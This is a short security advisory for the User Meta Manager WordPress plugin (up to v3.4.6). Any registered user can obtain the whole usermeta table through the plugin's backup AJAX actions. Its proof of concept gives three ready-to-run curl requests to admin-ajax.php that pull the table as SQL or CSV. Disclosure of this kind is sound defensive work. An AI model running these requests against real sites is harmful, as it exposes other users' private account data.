  ## Description
  
  User Meta Manager for WordPress plugin up to v3.4.6 suffers from a information disclosure vulnerability. Any registered user can perform an a series of AJAX 
  requests, in order to get all contents of `usermeta` DB table. 
  
  `usermeta` table holds additional information for all registered users. User Meta Manager plugin offers a `usermeta` table backup functionality. During the backup process the plugin takes no action in protecting the leakage of the table contents to unauthorized (non-admin) users.
  
  ## PoC
  
  ### Get as MySQL query
  
  First a backup table must be created
  
   
  curl -c ${USER_COOKIES} \
  "http://${VULN_SITE}/wp-admin/admin-ajax.php\
  ?action=umm_switch_action&umm_sub_action=umm_backup"
  
  
  Then we get the table with another request
  
  curl -c ${USER_COOKIES} \
  "http://${VULN_SITE}/wp-admin/admin-ajax.php\
  ?action=umm_switch_action&umm_sub_action=umm_backup&mode=sql"
  
  ### Get as CSV file
  
  curl -c ${USER_COOKIES} \
  "http://${VULN_SITE}/wp-admin/admin-ajax.php\
  ?action=umm_switch_action&umm_sub_action=umm_get_csv"
